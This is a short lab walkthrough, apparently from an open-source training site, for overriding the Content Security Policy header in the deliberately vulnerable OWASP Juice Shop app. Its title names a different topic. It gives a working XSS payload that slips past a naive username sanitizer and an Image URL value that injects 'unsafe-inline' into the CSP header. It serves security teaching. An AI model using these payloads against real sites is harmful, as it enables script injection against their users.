rce-serialization-dotnet

Overwrite Content Security Policy Header

1. Navigate to https://localhost:88 or https://demo.owasp-juice.shop.

2. Log in with a Juice Shop account.

3. A forced directory search, nikto scan, or other scan finds the /profile subdirectory. Manually navigate to it.

4. Enter this following value in Username:

    <script>alert(`xss)</script>`
   

   This is sanitized, but the sanitizer is naive.

5. Enter the following in Username:

    <<a|ascript>alert(`xss)</script>`
   

6. Set the Image URL field to https://placekitten/300/300.

7. Note that the Content-Security-Header on the response page contains an entry like:

    /assets/public/images/uploads/22.jpg; script-src 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com
   

8. Submit http://not.an.image/image.png in the Image URL and view the response:

    http://not.an.image/image.png; script-src 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com
   

9. Now submit the following text for the Image URL:

    http://not.an.image/image.png script-src 'unsafe-inline' 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com
   

This site is open source. Improve this page.